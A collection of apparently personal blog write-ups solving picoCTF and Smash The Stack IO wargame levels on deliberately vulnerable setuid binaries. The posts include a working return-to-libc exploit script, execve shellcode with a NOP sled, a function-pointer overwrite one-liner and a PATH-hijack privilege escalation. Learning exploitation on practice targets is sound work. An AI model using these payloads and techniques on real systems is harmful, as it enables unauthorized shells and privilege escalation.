Smash The Stack

Return to libc attack


What if we are on a system with non-executable stack? Or a system that carefully distinguishes between data and instructions, so that our data will not be executable? Then the return address must be overwritten with an address of our choice that points at executable code that was present already.

In this example, I am going to explain a problem from 2013 picoCTF (overflow 5)

Dump of assembler code for function vuln:
   0x080484c0 :     sub    esp,0x41c
   0x080484c6 :     mov    eax,DWORD PTR [esp+0x420]
   0x080484cd :    mov    DWORD PTR [esp+0x4],eax
   0x080484d1 :    lea    eax,[esp+0x10]
   0x080484d5 :    mov    DWORD PTR [esp],eax
   0x080484d8 :    call   0x8048380 
   0x080484dd :    add    esp,0x41c
   0x080484e3 :    ret    
End of assembler dump.

If you have a look at the highest addresses of a linux ELF binary via gdb, when it is
first loaded into memory, you’ll see something like this:

--------------------- 0xBFFFFFFF
|\x00 \x00 \x00 \x00| 0xBFFFFFFB (4 NULL byte)
|\x00 ........      | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................|           ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
|          .        |
|          .        |
|          .        |

The standard trick is to use the system() libc library call. We’ll do a system("/bin/sh") call. Make the return address point at system(), and prepare the stack so that this routine finds its argument on the stack. We need the addresses of system() and "/bin/sh" and (for a clean exit) of exit().

First find the addresses of system() and exit() in libc

$ gdb overflow5-0353c1a83cb2fa0d                                                                                                                                               
gdb-peda$ break main
Breakpoint 1 at 0x80483c3
gdb-peda$ r
.
.
Breakpoint 1, 0x080483c3 in main ()
gdb-peda$ p system
$1 = {} 0xb7e5f060 
gdb-peda$ p exit
$2 = {} 0xb7e52be0

In-order to exploit this vulnerable program, you have to setup the program stack like this:
Stack

  • Above figure illustrates the contents of the stack after buffer overflow. First 1032 bytes occupies the actual memory allocated to the stack. So during the overflow attack I kept first 1032 bytes buffer empty or with ‘A’s
  • Next 4 bytes would be the pointer to the previous stack frame. So this contains the memory address of the stack frame of the main() method. So next 4 bytes of the buffer is empty as well. So first 1036 bytes of the buffer array could be empty or filled with any arbitrary value during the attack.
  • Originally next 4 bytes represent the return address of the vuln() function. So after function execution, program will return to the code line of this address. This would be the prominent target of the stack overflow attack. During the overflow this 4 bytes (1037 – 1040) was overridden with the memory address of the system() libc function.
  • After the completion of system() function, execution will return to the address specified in this 4 bytes block. So address of the exit() function should be place in this 4 bytes. (1041 – 1044).
  • During the execution of system() function, program will look up next 4 bytes for any available arguments of system() function call (1045 – 1049). So this 4 bytes contains the address to “/bin/sh” string

.
This is how the exploit looks like:

#!/usr/bin/env python
from os import execve
from struct import pack
from platform import machine

system = 0xb7e5f060       # Address of system()
exit  = 0xb7e52be0        # Address of exit()

#  Program to exploit
vuln = "./overflow5-0353c1a83cb2fa0d"

arg = "/bin/sh"
env = {"":arg}

# Calculate address of binsh on stack
if machine() == 'x86_64': binsh = 0xffffe000 - 0x8 - len(vuln) - len(arg) - 0x2
else: binsh = 0xc0000000 - 0x4 - len(vuln) - len(arg) - 0x2

payload = "A" * 1036            # buffer + EBP
payload += pack("<I", system)   # system()
payload += pack("<I", exit)     # exit()
payload += pack("<I", binsh)    # addr("/bin/sh")

# Execute program with payload
execve(vuln, [vuln, payload], env)

Smash The Stack – Level3


Level3

I have made some changes in the code for debugging. But later came
to know that it was not neccassary :/

int good(int addr) {
printf("Address of hmm: %p\n", addr);
}

int hmm() {
printf("Win.\n");
execl("/bin/sh", "sh", NULL);
}

extern char **environ;

int main(int argc, char **argv) {

int i, limit;

for(i = 0; environ[i] != NULL; i++)
memset(environ[i], 0x00, strlen(environ[i]));
int (*fptr)(int) = good;

char buf[32];

if(strlen(argv[1]) <= 40) limit = strlen(argv[1]);

for(i = 0; i <= limit; i++) {
buf[i] = argv[1][i];
if(i < 36) buf[i] = 0x41;
}

printf("Buffer: %s", buf);
int (*hmmptr)(int) = hmm;

printf("\nCalling good function\n");
(*fptr)((int)hmmptr);

return 0;

}

This is really a simple challenge.

I just executed the program with a random argument.
And i got the address of hmm. Keep that in your mind 🙂

$ ./level3 AAA
Buffer: AAAA΂�����
Calling good function
Address of hmm: 0x80484e0

Lets get into code first.
Our intention is to call hmm function which calls a shell with
suid. There is a charecter array buf into which argv[1] is passed.
So there is a chance of an overflow, so inorder to overflow
we have to give length(argv[1]) > 32 to get a seg fault.
So i gave arguments of 36 length. Luckily on my first try itself
i got a segfault. Which means instruction pointer is overwritten
with the given value. So i turned on GDB for disassembling.

$ gdb level3
(gdb) set disassembly-flavor intel
(gdb) set print asm-demangle
(gdb) set demangle-style auto
(gdb) disassemble main
Dump of assembler code for function main:
0x08048510 : push ebp
0x08048511 : mov ebp,esp
0x08048513 : push edi
0x08048514 : and esp,0xfffffff0
---
---
---
---
0x08048668 : call eax
0x0804866a : mov eax,0x0
0x0804866f : mov edi,DWORD PTR [ebp-0x4]
0x08048672 : leave
0x08048673 : ret

Well i noticed this line in the
0x08048668 : call eax
we have the supreme control over the eax and hence we can execute
whatever we want in the memory if we know the address of that location.

so we have to make an exploit with which overflows the buf and then
the address of the hmm function!

(gdb) r $(perl -e 'print "A"x36 . "\xe0\x84\x04\x08"';)
Buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��
Calling good function
Win.
process 5199 is executing new program: /bin/zsh4
$

Note: You shouldn’t try it in gdb. Gdb doesn’t gives a shell with
higher setuid.

Smash The Stack-Level 5


Level5

This is the code.


#include
#include

int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}

In this code, whatever arguments we give is stored in the charecter array buf. If you look at this code, first thing you will notice is the function:strcpy(buf, argv[1]); , strcpy function doesn’t check for bounds and hence a hacker can stuff anything into it.

So lets try to find when the return address is overwritten


level5@io:/levels$ ./level05 $(perl -e 'print "A"x128';)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

level5@io:/levels$ ./level05 $(perl -e 'print "A"x130';)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

level5@io:/levels$ ./level05 $(perl -e 'print "A"x140';)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

We found that when we overflow with 140 bytes the memory is overwritten by the “A”‘s which we had given as the argument.
What we can do is stuff in buf with a shellcode + NOP (No Operator) – /x90 + address of eax (return address will be overwritten by this address)

Lets find out the address. I used GDB to find the address of the shellcode/eax in memory.


(gdb) disassemble main
Dump of assembler code for function main:
0x080483b4 : push ebp
0x080483b5 : mov ebp,esp
0x080483b7 : sub esp,0xa8
0x080483bd : and esp,0xfffffff0
0x080483c0 : mov eax,0x0
0x080483c5 : sub esp,eax
0x080483c7 : cmp DWORD PTR [ebp+0x8],0x1
0x080483cb : jg 0x80483d9
0x080483cd : mov DWORD PTR [ebp-0x8c],0x1
0x080483d7 : jmp 0x8048413
0x080483d9 : mov eax,DWORD PTR [ebp+0xc]
0x080483dc : add eax,0x4
0x080483df : mov eax,DWORD PTR [eax]
0x080483e1 : mov DWORD PTR [esp+0x4],eax
0x080483e5 : lea eax,[ebp-0x88]
0x080483eb : mov DWORD PTR [esp],eax
0x080483ee : call 0x80482d4
0x080483f3 : lea eax,[ebp-0x88]
0x080483f9 : mov DWORD PTR [esp+0x4],eax
0x080483fd : mov DWORD PTR [esp],0x8048524
0x08048404 : call 0x80482b4
0x08048409 : mov DWORD PTR [ebp-0x8c],0x0
0x08048413 : mov eax,DWORD PTR [ebp-0x8c]
0x08048419 : leave
0x0804841a : ret
End of assembler dump.
(gdb) break *0x080483eb
Breakpoint 1 at 0x80483eb
(gdb) break *0x08048404
Breakpoint 2 at 0x8048404
(gdb) r $(perl -e 'print "A"x128';)
Starting program: /levels/level05 $(perl -e 'print "A"x128';)

Breakpoint 1, 0x080483eb in main ()
(gdb) x/100x $esp
0xbfffdb60: 0x0804820b 0xbfffddd2 0x08048184 0x00000001
0xbfffdb70: 0x0070eff4 0xbfffdc60 0x0070fab0 0xbfffdc34
0xbfffdb80: 0x006fc242 0xbfffdc24 0x08048184 0xbfffdc18
0xbfffdb90: 0x0070fa54 0x00000000 0x00a66bb8 0x00000001
0xbfffdba0: 0x00000000 0x00000001 0x0070f8f8 0x00285ff4
0xbfffdbb0: 0x00247339 0x001733a5 0xbfffdbc8 0x0015aa75
0xbfffdbc0: 0x00285ff4 0x00000002 0x00286cc0 0x08048320
0xbfffdbd0: 0x00701040 0x0804960c 0xbfffdbe8 0x08048291
0xbfffdbe0: 0x00286304 0x00285ff4 0xbfffdc08 0x08048489
0xbfffdbf0: 0x001735a5 0x00701040 0x00000000 0x00285ff4
0xbfffdc00: 0x08048470 0x00000000 0xbfffdc88 0x0015ac76
0xbfffdc10: 0x00000002 0xbfffdcb4 0xbfffdcc0 0x00a668c8
0xbfffdc20: 0xbfffdc70 0x0177ff8e 0x0070eff4 0x0804820b
0xbfffdc30: 0x00000001 0xbfffdc70 0x00700626 0x0070fab0
0xbfffdc40: 0x00a66bb8 0x00285ff4 0x00000000 0x00000000
0xbfffdc50: 0xbfffdc88 0xdb494afc 0x0fa91d83 0x00000000
0xbfffdc60: 0x00000000 0x00000000 0x00000002 0x080482f0
0xbfffdc70: 0x00000000 0x00706210 0x0015ab9b 0x0070eff4
0xbfffdc80: 0x00000002 0x080482f0 0x00000000 0x08048311
0xbfffdc90: 0x080483b4 0x00000002 0xbfffdcb4 0x08048470
0xbfffdca0: 0x08048420 0x00701040 0xbfffdcac 0x0070f8f8
0xbfffdcb0: 0x00000002 0xbfffddc2 0xbfffddd2 0x00000000
0xbfffdcc0: 0xbfffde53 0xbfffde63 0xbfffde6e 0xbfffde90
0xbfffdcd0: 0xbfffdea3 0xbfffdeaf 0xbfffdece 0xbfffdeda
0xbfffdce0: 0xbfffdf07 0xbfffdf1d 0xbfffdf35 0xbfffdf44
(gdb) s
Single stepping until exit from function main,
which has no line number information.

Breakpoint 2, 0x08048404 in main ()
(gdb) x/10x$esp
0xbfffdb60: 0x08048524 0xbfffdb80 0x08048184 0x00000001
0xbfffdb70: 0x0070eff4 0xbfffdc60 0x0070fab0 0xbfffdc34
0xbfffdb80: 0x41414141 0x41414141
(gdb) x/100x $esp
0xbfffdb60: 0x08048524 0xbfffdb80 0x08048184 0x00000001
0xbfffdb70: 0x0070eff4 0xbfffdc60 0x0070fab0 0xbfffdc34
0xbfffdb80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdb90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdba0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdbb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdbc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdbd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdbe0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdbf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdc00: 0x08048400 0x00000000 0xbfffdc88 0x0015ac76
0xbfffdc10: 0x00000002 0xbfffdcb4 0xbfffdcc0 0x00a668c8
0xbfffdc20: 0xbfffdc70 0x0177ff8e 0x0070eff4 0x0804820b
0xbfffdc30: 0x00000001 0xbfffdc70 0x00700626 0x0070fab0
0xbfffdc40: 0x00a66bb8 0x00285ff4 0x00000000 0x00000000
0xbfffdc50: 0xbfffdc88 0xdb494afc 0x0fa91d83 0x00000000
0xbfffdc60: 0x00000000 0x00000000 0x00000002 0x080482f0
0xbfffdc70: 0x00000000 0x00706210 0x0015ab9b 0x0070eff4
0xbfffdc80: 0x00000002 0x080482f0 0x00000000 0x08048311
0xbfffdc90: 0x080483b4 0x00000002 0xbfffdcb4 0x08048470
0xbfffdca0: 0x08048420 0x00701040 0xbfffdcac 0x0070f8f8
0xbfffdcb0: 0x00000002 0xbfffddc2 0xbfffddd2 0x00000000
0xbfffdcc0: 0xbfffde53 0xbfffde63 0xbfffde6e 0xbfffde90
0xbfffdcd0: 0xbfffdea3 0xbfffdeaf 0xbfffdece 0xbfffdeda
0xbfffdce0: 0xbfffdf07 0xbfffdf1d 0xbfffdf35 0xbfffdf44

And we found that 0xbfffdb80 is the starting address of the buf. So we can make an exploit like this


$ ./level05 $(python -c 'print "\x90"*90 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "\xf0\xdb\xff\xbf"*20';)

Find the password to next level 🙂

Smash The Stack – Level 4


LEVEL 4
Today i’ve learned how to does the “which” command works.

Lets see what does the which command do:

PROGRAM: which.sh

#! /bin/sh
set -ef

if test -n "$KSH_VERSION"; then
puts() {
print -r -- "$*"
}
else
puts() {
printf '%s\n' "$*"
}
fi

ALLMATCHES=0

while getopts a whichopts
do
case "$whichopts" in
a) ALLMATCHES=1 ;;
?) puts "Usage: $0 [-a] args"; exit 2 ;;
esac
done
shift $(($OPTIND - 1))

if [ "$#" -eq 0 ]; then
ALLRET=1
else
ALLRET=0
fi
case $PATH in
(*[!:]:) PATH="$PATH:" ;;
esac
for PROGRAM in "$@"; do
RET=1
IFS_SAVE="$IFS"
IFS=:
case $PROGRAM in
*/*)
if [ -f "$PROGRAM" ] && [ -x "$PROGRAM" ]; then
puts "$PROGRAM"
RET=0
fi
;;
*)
for ELEMENT in $PATH; do
if [ -z "$ELEMENT" ]; then
ELEMENT=.
fi
if [ -f "$ELEMENT/$PROGRAM" ] && [ -x "$ELEMENT/$PROGRAM" ]; then
puts "$ELEMENT/$PROGRAM"
RET=0
[ "$ALLMATCHES" -eq 1 ] || break
fi
done
;;
esac
IFS="$IFS_SAVE"
if [ "$RET" -ne 0 ]; then
ALLRET=1
fi
done

exit "$ALLRET"

In this code it searches in $PATH which is an Unix Environmental
variable.
$PATH: Contains a colon-separated list of directories that the
shell searches for commands that do not contain a slash in their
name. Keep PATH in your mind.

So this is our question:


#include
int main()
{
system("id");
return 0;
}

When you execute this program, it prints the id: the real and the
effective user and group ID.


$./level04
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1005(level5),1004(level4),1029(nosu)

see, system call is similar to running a command in terminal.
system() executes a command specified in string by calling
/bin/sh -c string, and returns after the command has been
completed. During execution of the command, SIGCHLD will be
blocked, and SIGINT and SIGQUIT will be ignored.

If you notice the permissions of the executable file
you could find a ‘s’ in the place of x of the owner’s
permission.


$ls -l /levels/level04
-r-sr-x--- 1 level5 level4 7016 Nov 16 2007 /levels/level04

On an executable program with set-UID or set-groupID, that program
runs with the effective permissions of its owner or group.

For a directory, the set-groupID flag means that all files created
inside that directory will inherit the group of the directory.
Without this flag, a file takes on the primary group of the user
creating the file. This property is important to people trying to
maintain a directory as group accessible. The subdirectories also
inherit the set-groupID property.

So if we get a shell from this executable file, that shell will
be of level5.

We cannot solve this using buffer overflow. Since there is any
function which contains a system call to a shell. So we have to
do something else.

In STS if you have noticed we can make a file or folder only
inside the /tmp


level4@io:~$ ls -l /
total 152
drwxr-xr-x 2 root root 4096 Aug 1 22:47 bin
drwx------ 2 root root 4096 Oct 28 2006 boot
drwxr-xr-x 5 root root 4096 Aug 2 17:01 dev
drwx--x--x 73 root root 4096 Aug 13 16:21 etc
drwx--x--x 38 root root 4096 Aug 13 08:15 home
drwx------ 2 root root 4096 Apr 24 2007 initrd
drwxr-xr-x 3 root root 4096 Aug 13 08:20 levels
drwxr-xr-x 10 root root 12288 Aug 1 23:04 lib
drwx------ 2 root root 4096 Apr 24 2007 media
drwx------ 2 root root 4096 Oct 28 2006 mnt
drwxr-xr-x 2 root root 4096 Apr 24 2007 opt
dr-xr-x--x 92 root root 0 Aug 2 17:00 proc
-rw-r--r-- 1 root root 0 Aug 2 17:00 reboot
drwx------ 15 root root 4096 Oct 27 19:58 root
drwxr-xr-x 2 root root 4096 Aug 1 23:01 sbin
drwxr-xr-x 2 root root 4096 Sep 16 2008 selinux
drwx------ 2 root root 4096 Apr 24 2007 srv
drwxr-xr-x 3 root root 0 Aug 2 17:00 sys
drwx-wx-wt 186 root root 73728 Oct 29 14:14 tmp
drwxr-xr-x 11 root root 4096 Aug 1 22:54 usr
drwxr-xr-x 15 root root 4096 Mar 2 2011 var

Make a folder named sys inside /tmp and also make a file
id.c.

Note: you can name the folder as your wish.


$mkdir /tmp/sys && cd /tmp/sys/ && vim id.c

Now create a simple program which contains a system call
and it calls a sh (/bin/sh). Give any name to the program
i gave bla.c, but while compiling make an output file
named ‘id’.


$gcc bla.c -o id

Do you remember the PATH variable I’ve mentioned at the
begining of this level. Make use of it to set the path as
/tmp/sys.


$PATH=/tmp/sys

Then execute the level04 executable file. Now you will get
a SHELL and set the defualt PATH just immedeatly after
getting a shell. Then check the ‘id’ of the new shell. You
can find it as level 5.

Please find the password for the next level from
/home/level5/.pass

Smash The Stack – Level2


Level2

Connect using the same command mention above, but instead of ‘level1’ change it to ‘level2’

ssh -l level2 io.smashthestack.org -p2224

Using your basic Linux skills make your present working directory to /levels. There are two programs in this level. You can use one of them to get a shell.

Program #1

level2@io:/levels$ cat level02.c
void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf("WIN!\n");
system("/bin/sh");
exit(0);
}
int main(int argc, char **argv)
{
puts("source code is available in level02.c\n");
if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return atoi(argv[1]) / atoi(argv[2]);
}

This program is comparatively tough, if you don’t know the concepts of signals. I didn’t know about signals before doing this. The user have to supply two arguments when running the programming. According to the given input. The program will call the function catcher.

level2@io:/levels$ ./level02 argv[1] agrv[2]
if (argc != 3 || !atoi(argv[2]))
return 1;

This part of the code checks whether the user has given 3 arguments or not, it also checks whether the argv[2] can be converted to integer using the function atio – that converts a string into an integer numerical representation.

signal(SIGFPE, catcher);
return atoi(argv[1]) / atoi(argv[2]);

In order to get the shell, we have to call the catcher function. It can be invoked by making a Floating Pointing Exception-signal. You have to find out a perfect way to generate-Floating point exception. Refer these wiki pages: http://en.wikipedia.org/wiki/Limits.h http://en.wikipedia.org/wiki/SIGFPE. (If you don’t find please let me know? :))

If you get a new shell, don’t forget to save the password for the next level in your local machine.

There is an alternative question in the 2nd round.

Program #2

#define answer 3.141593
void main(int argc, char **argv)
{
float a = (argc - 2)?: strtod(argv[1], 0);
printf("\nYou provided the number %f which is too ", a);
if(a > answer)
puts("high");
else if(a < answer)
puts("low");
else
execl("/bin/sh", "sh", "-p", NULL);
}

In this program answer is defined with a decimal value. The default decimal value is taken as float in C.

#define answer 3.141593

Strtod – converts string to double. The returned value stored in ‘a’ which is a floating point variable

float a = (argc - 2)?: strtod(argv[1], 0);

According the given argument, the program will display whether is high or low

printf("\nYou provided the number %f which is too ", a);
if(a > answer)
puts("high");
else if(a < answer)
puts("low");
else
execl("/bin/sh", "sh", "-p", NULL);

But we are not trying to get high or low. Our need is to get a shell for the 3rd level password. For that the program should go to the else loop without fail. This is a hint for you: refer man page for ‘strtod’

Smash The Stack – Level1


Hacking is one of the most interesting topic in the Computer Science. Everyone wants to learn hacking, but, many people doesn’t have the opportunity/facility to learn hacking. Recently, I found the site http://smashthestack.org/. I am currently in learning stage. This post will be updated after the completion of each levels

How to connect?

To connect to any of the War-games you need an ssh client (openssh, PuTTy, SecureCRT). Each game has it’s own set of connection details. You need to pay attention on to the port and initial user name. If you are using a UNIX variant simply type the following at the shell prompt:

-bash-3.2$ ssh -l level1 io.smashthestack.org -p2224
____ ____
||i |||o || Welcome at IO and smashthestack!
||__|||__||
|/__\|/__\| If you have problems connecting please contact us on IRC. (irc.smashthestack.org +6697)
level1@io.smashthestack.org's password:

When you are prompted for the password enter “level1” without the quotes. This information is also provided on the `io’ wargame page. Once you are logged in read the text (MOTD: Message of the day) that is displayed on your screen. The problems will be presented to you as a series of programs. Which will vary in size from a few lines containing an obvious bug, over to larger, and finally real software. The point is always to exploit this bug in such a way that you can grab control of the programs execution and make it do what you want. For example you will often want it to drop a shell. The way this works is that the binaries are SUID binaries (http://en.wikipedia.org/wiki/Setuid). This means in short that they run as a different user than you do. The point is to grab control of the program and make it execute your own shell code. Which will in turn allow you to read the password for the next level.

How to get started-#Round1

Right now I will talk you through the first level. Currently you are “level1” user. This means you can access only files that are owned by level1, or are accessible by everybody.

level1@io:~# cd /levels
level1@io:/levels# ls -las level01
8 -r-sr-x--- 1 level2 level1 7500 Nov 16 2007 level01

When you run it will ask you for a password. Use “strings” – print the strings of printable characters in files, you will be able to find the password.

level1@io:/levels$ strings level01
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
printf
execl
puts
strncmp
_IO_stdin_used
__libc_start_main
GLIBC_2.0
PTRh
0Y_]
[^_]
[^_]
omgpassword
Usage: %s
Win.
/bin/sh
Fail.

When you supply the password, you will get a new shell which has level2 rights. Using this shell you can read the file

level1@io:/levels$ ./level01 [something you have to figure out goes here]
Win.
level1@io:/levels$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1),1029(nosu)

As you can see, by the output of the “id” command you now have euid (effective user id) of level2. You can now read files that belong to level2. The point is to use this right to read the password file for the next level.

level1@io:/levels$ cat /home/level2/.pass
[BINGO YOU DID IT]

Now you have the level2 password. You can now login as level2. Disconnect the current connection. Please save the password in your local disk. It will be helpful for the later usage.
/*End of Level1 */